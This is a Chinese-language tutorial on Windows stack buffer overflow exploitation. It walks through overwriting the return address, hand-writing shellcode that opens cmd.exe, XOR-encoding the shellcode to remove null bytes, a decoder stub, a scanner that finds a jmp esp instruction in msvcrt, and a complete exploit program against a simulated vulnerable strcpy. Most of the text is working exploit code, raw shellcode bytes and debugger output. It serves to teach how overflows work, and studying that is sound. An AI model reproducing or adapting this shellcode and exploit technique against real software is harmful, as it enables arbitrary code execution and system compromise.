二、利用溢出覆盖，改变程序流程及其简单应用
1、地址覆盖
同样的还是第一章开头的那个程序，让我们改成为一个有缓冲溢出问题的程序.
| //test.c #include <stdio.h> #include <stdlib.h> #include <string.h> void overflow(void) { char buf[10]; strcpy(buf，"aaaaaaaaaab1234");//<=-----改这里在原来的十个‘a‘后再加"b1234" }//end overflow int main(void) { overflow(); return 0; }//end main |
重新编译，在strcpy处设置断点，然后无错运行到断点处，切换到汇编代码窗口
| 00401020 55 push ebp 00401021 8B EC mov ebp，esp 00401023 83 EC 4C sub esp，4Ch 00401026 53 push ebx 00401027 56 push esi 00401028 57 push edi 00401029 8D 7D B4 lea edi，[ebp-4Ch] 0040102C B9 13 00 00 00 mov ecx，13h 00401031 B8 CC CC CC CC mov eax，0CCCCCCCCh 00401036 F3 AB rep stos dword ptr [edi] 7: char buf[10]; 8: strcpy(buf，"aaaaaaaaaab1234");//<=-----让程序停在这里 00401038 68 1C F0 41 00 push offset string "aaaaaaaaaab1234" (0041f01c) 0040103D 8D 45 F4 lea eax，[ebp-0Ch] 00401040 50 push eax 00401041 E8 6A 00 00 00 call strcpy (004010b0) 00401046 83 C4 08 add esp，8 9: }//end overflow 00401049 5F pop edi 0040104A 5E pop esi 0040104B 5B pop ebx 0040104C 83 C4 4C add esp，4Ch 0040104F 3B EC cmp ebp，esp 00401051 E8 4A 01 00 00 call __chkesp (004011a0) 00401056 8B E5 mov esp，ebp 00401058 5D pop ebp 00401059 C3 ret |
在watch窗口加入ebp和buf，并在memory窗口输入"buf"看一下strcpy函数执行以前的堆栈情况，选择"Long Hex Format"，可以看到当前的堆栈情况如下:
| 0012FEE0 CCCCCCCC . . . . 0012FF20 CCCCCCCC //<=----buf的起始地址(再次强调，不同机器上运行时这里的值可能会不一样)，12字节可用 0012FF24 CCCCCCCC 0012FF28 CCCCCCCC 0012FF2C 0012FF80 //<=----老的ebp，是由函数开始处的push ebp指令填入的 0012FF30 0040108D //<=----函数返回地址即main函数中call overflow指令的下指令地址 |
也可以表示为:
| [64个保留字节(填充为0xcc)] [buf(12个可用字节，当前全部填充为0xcc)] [老的ebp(当前为0x0012FF80)] [函数返回地址(当前为0x0040108D)] |
按F10直至执行完call strcpy再看一下memory窗口红色的部分，选择"Byte Format"，从buf的起始地址开始被填入了十个0x61(‘a‘)，一个0x62(‘b‘)，0x31(‘1‘)，0x32(‘2‘)，0x33(‘3‘)，0x34(‘4‘)，以及一个0x00，可以看到"老的ebp"已经被我们改变了:
| 0012FEE0 CCCCCCCC . . . . 0012FF20 61 61 61 61 aaaa //<=----buf的起始地址，内容已经改变 0012FF24 61 61 61 61 aaaa 0012FF28 61 61 62 31 aab1 //<=----注意!!!!! 0012FF2C 32 33 34 00 234. //<=----老的ebp内容已经被改变 0012FF30 8D 10 40 00 ..@. //<=----函数返回地址未变 |
看一下我刚才让你注意的地方，‘b‘和‘1‘将buf的12个可用字节的最后两个字节填充了，而后面的‘2‘，‘3‘，‘4‘和0x00做为一个dword覆盖(修改)了ebp的值，再下面一个dword就是函数返回地址，再按F10执行，程序可以正常返回main(因为我们没有修改返回地址值)，看到了这里改变函数返回地址成另外一个任意的值(让程序流程跳到另一地址空间)我想已经不是什么难事了吧!
可能初学缓冲溢出的朋友会问“这管什么用呢?”，不要着急下面我们就看看这样的技术究竟可以做什么!
2、利用地址覆盖，跳转并执行任意代码
这一部分开始将有些复杂，你的C/Asm混合编程技术将得到煅炼，写一个程序使程序开启一个cmd.exe原理是这样的:先用LoadLibrary("msvcrt.dll")装载vc运行时库(Runtime Library)再用GetProcAddress("system")获得system函数起址，system函数有什么作用不用我说了吧!如果不明白请参阅msdn.再用system("cmd.exe")开启cmd.exe命令控制台程序如下：
| #include <stdio.h> void main(void) { __asm {//在这里模拟出一个函数体内的程序结构，我们自己分配空间来存储"msvcrt.dll"，"system"，"cmd.exe"三个字串 push ebp push ecx push edx mov ebp，esp sub esp，20h//分配32(0x20)个字节就已经够用了 xor ecx，ecx /**************************************/ //调用LoadLibrary函数装载msvcrt.dll mov byte ptr [ebp-0bh]，‘m‘ mov byte ptr [ebp-0ah]，‘s‘ mov byte ptr [ebp-09h]，‘v‘ mov byte ptr [ebp-08h]，‘c‘ mov byte ptr [ebp-07h]，‘r‘ mov byte ptr [ebp-06h]，‘t‘ mov byte ptr [ebp-05h]，‘.‘ mov byte ptr [ebp-04h]，‘d‘ mov byte ptr [ebp-03h]，‘l‘ mov byte ptr [ebp-02h]，‘l‘ mov byte ptr [ebp-01h]，0 lea eax，[ebp-0bh] push eax mov ecx，77e6a254h;//<=----用depends获得的LoadLibrary函数地址，在我的机器上它是不变的，你学习本文时可能要修改 call ecx mov edx，eax//保存装载后msvcrt.dll在内存中的起始地址 //调用GetProcAddress取得system函数起址 mov byte ptr [ebp-0bh]，‘s‘ mov byte ptr [ebp-0ah]，‘y‘ mov byte ptr [ebp-09h]，‘s‘ mov byte ptr [ebp-08h]，‘t‘ mov byte ptr [ebp-07h]，‘e‘ mov byte ptr [ebp-06h]，‘m‘ mov byte ptr [ebp-05h]，0 lea eax，[ebp-0bh] push eax push edx mov ecx，77e69ac1h;//<=----同样的用depends获得的，你学习本文时可能要修改它 call ecx mov edx，eax//保存获得的system函数在内存中的起始地址 //调用system开启cmd环境 mov byte ptr [ebp-0bh]，‘c‘ mov byte ptr [ebp-0ah]，‘m‘ mov byte ptr [ebp-09h]，‘d‘ mov byte ptr [ebp-08h]，‘.‘ mov byte ptr [ebp-07h]，‘e‘ mov byte ptr [ebp-06h]，‘x‘ mov byte ptr [ebp-05h]，‘e‘ mov byte ptr [ebp-04h]，0 lea eax，[ebp-0bh] push eax call edx add esp，4;//system函数使用C调用约定(它的原型没有使用WINAPI这样的标识符)由调用者调整堆栈 /**************************************/ mov esp，ebp pop edx pop ecx pop ebp } } |
编译、运行得到命令控制台，调入Step Into调试模式，选择"Disassembly"和"Code Bytes"得到机器代码如下:
| char code[]="\x55\x51\x52\x8B\xEC\x83\xEC\x20\x33\xC9" "\xC6\x45\xF5\x6D\xC6\x45\xF6\x73\xC6\x45" "\xF7\x76\xC6\x45\xF8\x63\xC6\x45\xF9\x72" "\xC6\x45\xFA\x74\xC6\x45\xFB\x2E\xC6\x45" "\xFC\x64\xC6\x45\xFD\x6C\xC6\x45\xFE\x6C" "\xC6\x45\xFF\x00\x8D\x45\xF5\x50\xB9\x54"//<=----注意:第一个0x00 "\xA2\xE6\x77\xFF\xD1\x8B\xD0\xC6\x45\xF5" "\x73\xC6\x45\xF6\x79\xC6\x45\xF7\x73\xC6" "\x45\xF8\x74\xC6\x45\xF9\x65\xC6\x45\xFA" "\x6D\xC6\x45\xFB\x00\x8D\x45\xF5\x50\x52"//<=----第二个0x00 "\xB9\xC1\x9A\xE6\x77\xFF\xD1\x8B\xD0\xC6" "\x45\xF5\x63\xC6\x45\xF6\x6D\xC6\x45\xF7" "\x64\xC6\x45\xF8\x2E\xC6\x45\xF9\x65\xC6" "\x45\xFA\x78\xC6\x45\xFB\x65\xC6\x45\xFC" "\x00\x8D\x45\xF5\x50\xFF\xD2\x83\xC4\x04"//<=----第三个0x00 "\x8B\xE5\x5A\x59\x5D" |
如果不懂在汇编语言中调用C函数如何调整参数，请参阅罗云琳大哥的相关资料。
经过第一和第二部分的分析你的头脑中应该有了一个ShellCode的雏形的了吧!在这里我们的溢出字串不再使用aaaaaaaaaab1234而是将它设计成这样:aaaaaaaaaabbddddxxxxcccccccc......的格式.前10个a和2个‘b‘作用不变(其实没有用，"垫脚石"而已)，中4个dddd覆盖ebp，xxxx为jmp esp指令的内存地址(它覆盖了程序原来的返回地址)，后面的cccccccc......是我们上面的获得命令控制台程序的机器码(经过编码的)。
当字串溢出后overflow的ret让eip=xxxx(执行jmp esp)，这时esp指向我们的命令控制台程序起址，这样就让原本应该回到主函数继续执行的程序流程改变去执行我们的代码了，这里还有一个小问题是C的字串起考贝函数会在Code字串里的第一个0x00处(共三个分别在code的第53偏移、第95偏移和第140偏移处)将我们的ShellCode截断，这样就我们希望执行的代码将不被全部执行，所以ShellCode必须经过编码将0x00异或0x99，并在溢出后动态解码，这就需要一段解码程序加在ShellCode前面，溢出后它将首先被执行，它将Shellcode中的经过编码的0x99解码(还原)成0x00，编码我参考了ipxodi的异或0x99方法，在本文中我使用了不同的解码算法，先将code编码成这样:
| "\x55\x51\x52\x8B\xEC\x83\xEC\x20\x33\xC9" "\xC6\x45\xF5\x6D\xC6\x45\xF6\x73\xC6\x45" "\xF7\x76\xC6\x45\xF8\x63\xC6\x45\xF9\x72" "\xC6\x45\xFA\x74\xC6\x45\xFB\x2E\xC6\x45" "\xFC\x64\xC6\x45\xFD\x6C\xC6\x45\xFE\x6C" "\xC6\x45\xFF\x99\x8D\x45\xF5\x50\xB9\x54"//<=----第一个编码后的0x99，请比较未编码前的相应位置的值 "\xA2\xE6\x77\xFF\xD1\x8B\xD0\xC6\x45\xF5" "\x73\xC6\x45\xF6\x79\xC6\x45\xF7\x73\xC6" "\x45\xF8\x74\xC6\x45\xF9\x65\xC6\x45\xFA" "\x6D\xC6\x45\xFB\x99\x8D\x45\xF5\x50\x52"//<=----第二个编码后的0x99 "\xB9\xC1\x9A\xE6\x77\xFF\xD1\x8B\xD0\xC6" "\x45\xF5\x63\xC6\x45\xF6\x6D\xC6\x45\xF7" "\x64\xC6\x45\xF8\x2E\xC6\x45\xF9\x65\xC6" "\x45\xFA\x78\xC6\x45\xFB\x65\xC6\x45\xFC" "\x99\x8D\x45\xF5\x50\xFF\xD2\x83\xC4\x04"//<=----第三个编码后的0x99 "\x8B\xE5\x5A\x59\x5D"; |
需要在它头部加上以下解码子程序:
| __asm { mov eax，esp; //这是溢出后执行jmp esp后执行的第一条指令，esp指向当前指令地址，意义是"获得解码程序起址" add eax，44h; //这个解码子程序有20个字节(解码程序起址+20=code起址，再加上53偏移)使eax指向第一个编码过的0x99 xor [eax]，99h //解码第一个0x99，这个操作的意义是"0x99异或0x99=0x00"，即还原成0x00 add eax，28h //指向第95偏移 xor [eax]，99h //解码第二个0x99 add eax，2eh //指向第140偏移 xor [eax]，99h //解码第三个0x99 } |
jmp esp指令地址是通过下面这个简单的程序找到的：
| #include "stdafx.h" #include "find.h" #ifdef _DEBUG #define new DEBUG_NEW #undef THIS_FILE static char THIS_FILE[] = __FILE__; #endif ///////////////////////////////////////////////////////////////////////////// // The one and only application object CWinApp theApp; using namespace std; int _tmain(int argc， TCHAR* argv[]， TCHAR* envp[]) { int nRetCode = 0; // initialize MFC and print and error on failure if (!AfxWinInit(::GetModuleHandle(NULL)， NULL， ::GetCommandLine()， 0)) { // TODO: change error code to suit your needs cerr << _T("Fatal Error: MFC initialization failed") << endl; nRetCode = 1; } else { #if 0 return 0; __asm jmp esp #else bool we_loaded_it = false; HINSTANCE h; TCHAR dllname[] = _T("msvcrt"); h = GetModuleHandle(dllname); if(h == NULL) { h = LoadLibrary(dllname); if(h == NULL) { cout<<"ERROR LOADING DLL: "<<dllname<<endl; return 1; } we_loaded_it = true; } BYTE* ptr = (BYTE*)h; bool done = false; for(int y = 0;!done;y++) { try { if(ptr[y] == 0xFF && ptr[y+1] == 0xE4) { int pos = (int)ptr + y; cout<<"OPCODE found at 0x"<<hex<<pos<<endl; } } catch(...) { cout<<"END OF "<<dllname<<" MEMORY REACHED"<<endl; done = true; } } if(we_loaded_it) FreeLibrary(h); #endif } return nRetCode; } |
在我的机器上找到的jmp esp代码在0x78024e02地址处，这样我们已经收集全了所有的信息:
(溢出点，jmp esp代码地址，经过编码的ShellCode和解码ShellCode的子程序)
Shellcode=溢出字串+jmp esp+解码子程序+code(编码后的)得到如下代码:
| #include <stdio.h> #include <stdlib.h> #include <string.h> #include <windows.h> char xcode[]="aaaaaaaaaabbdddd" "\x02\x4e\x02\x78"//jmp esp 代码地址，不同机器不同动态连接库版本可能不一样 "\x8B\xC4\x83\xC0\x49\x80\x30\x99\x83\xC0"//解码子程序 "\x29\x80\x30\x99\x83\xC0\x2e\x80\x30\x99" "\x55\x51\x52\x8B\xEC\x83\xEC\x20\x33\xC9"//开启cmd.exe的程序(code) "\xC6\x45\xF5\x6D\xC6\x45\xF6\x73\xC6\x45" "\xF7\x76\xC6\x45\xF8\x63\xC6\x45\xF9\x72" "\xC6\x45\xFA\x74\xC6\x45\xFB\x2E\xC6\x45" "\xFC\x64\xC6\x45\xFD\x6C\xC6\x45\xFE\x6C" "\xC6\x45\xFF\x99\x8D\x45\xF5\x50\xB9\x54" "\xA2\xE6\x77\xFF\xD1\x8B\xD0\xC6\x45\xF5" "\x73\xC6\x45\xF6\x79\xC6\x45\xF7\x73\xC6" "\x45\xF8\x74\xC6\x45\xF9\x65\xC6\x45\xFA" "\x6D\xC6\x45\xFB\x99\x8D\x45\xF5\x50\x52" "\xB9\xC1\x9A\xE6\x77\xFF\xD1\x8B\xD0\xC6" "\x45\xF5\x63\xC6\x45\xF6\x6D\xC6\x45\xF7" "\x64\xC6\x45\xF8\x2E\xC6\x45\xF9\x65\xC6" "\x45\xFA\x78\xC6\x45\xFB\x65\xC6\x45\xFC" "\x99\x8D\x45\xF5\x50\xFF\xD2\x83\xC4\x04" "\x8B\xE5\x5A\x59\x5D"; void overflow(void) { char buf[10]; strcpy(buf，xcode);//模拟溢出漏洞 }//end overflow int main(void) { LoadLibrary("msvcrt.dll");//模拟受攻击应用程序引入的msvcrt.dll(这里只是模拟，有些漏洞程序并不引入这个库) overflow(); return 0; }//end main |
本程序在windows 2000 Pro 5.00.2195 SP2下，由VC++ 6.0编译、调试、运行通过。
小结:
写一个溢出攻击测试程序需要以下步骤:
1、发现并确定漏洞程序的溢出点
2、找到jmp esp指令地址
3、编写并优化Shellcode程序代码(C或Asm)，如果必要在Shellcode头部加上编/解码程序(如本文所举的例子)
4、调试、测试代码有效性，公布代码(如果不是很危险，否则可能会触犯法律)
关于:
程序设计是一门高度艺术化的技术，可现在很多人(程序员)却说"不需要会经典算法，不需要会数据结构，不需要会底层技术，我们做不了的可以让其它公司做，光使用VB.NET做开发，赚的钱就够我用的了.."，我却要说这些人并不是真正的程序员，我非常崇拜XFocus的FlashSky以及NSFocus的ipxodi、袁哥、小四哥等，他们中同样有很多人是非计算机专业的，可在我心目中他们才是高境界的程序员，我会努力的向他们学习，并不断的充实自己，希望在不久的将来我会成为中安网的FlashSky......!
最后:
进行溢出攻击要比本文描述的复杂很多(本文只是剖析溢出原理，在完全理解本文以后，你也可以试着练习练习)，首先溢出点很难确定(计算)，这需要你熟练使用反汇编工具和调试工具，并有大量的调试经验(看到某一段Asm代码马上就可以想像到它的C代码表示)，还有ShellCode要写的不具有平台依赖性，也就是说它越通用越好(当然你别指望为Windows写的ShellCode可以拿到Unix/Linux上使用，反之亦然)，最好是将ShellCode里用到的函数全部都动态引入(用LoadLibrary和GetProcAddress函数，这也是我为什么在第二部分开启cmd.exe的程序里使用它们的原因，jmp esp代码地址同样是动态定位的)。
此外，ShellCode的编/解码子程序同样重要，编写的好坏直接决定代码是否被完整执行，同样有很深的东西可以学习和研究。
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